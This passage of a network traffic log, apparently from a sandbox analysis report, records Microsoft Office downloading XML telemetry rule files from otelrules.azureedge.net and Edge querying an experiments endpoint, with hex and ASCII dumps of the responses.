2024-11-26 15:31:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:32 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:32 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153132Z-174f7845968j6t2phC1EWRcfe80000000vv0000000005ze0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:33 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:33 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:33 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153133Z-174f78459688l8rvhC1EWRtzr000000008a0000000001y58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:33 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:33 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:33 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153133Z-174f7845968xlwnmhC1EWR0sv80000000vf000000000b5qq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:33 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:33 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153133Z-174f7845968n2hr8hC1EWR9cag0000000vag000000005qtu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:34 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153135Z-174f7845968jrjrxhC1EWRmmrs0000000vt000000000anss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:35 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:35 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153135Z-174f7845968zgtf6hC1EWRqd8s0000000ng000000000nmss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:36 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:36 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:37 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153137Z-174f7845968zgtf6hC1EWRqd8s0000000nfg00000000p69q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:37 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:36 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:37 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153137Z-174f7845968nxc96hC1EWRspw80000000v8g00000000na5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:37 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:37 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153137Z-174f7845968frfdmhC1EWRxxbw0000000vq000000000b4qd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:37 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:38 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153138Z-174f78459685726chC1EWRsnbg0000000vp000000000f6fm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:38 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49804	94.245.104.56	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:37 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:38 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 26 Nov 2024 15:31:38 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:38 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:38 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153138Z-174f7845968swgbqhC1EWRmnb40000000vug000000006xhp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
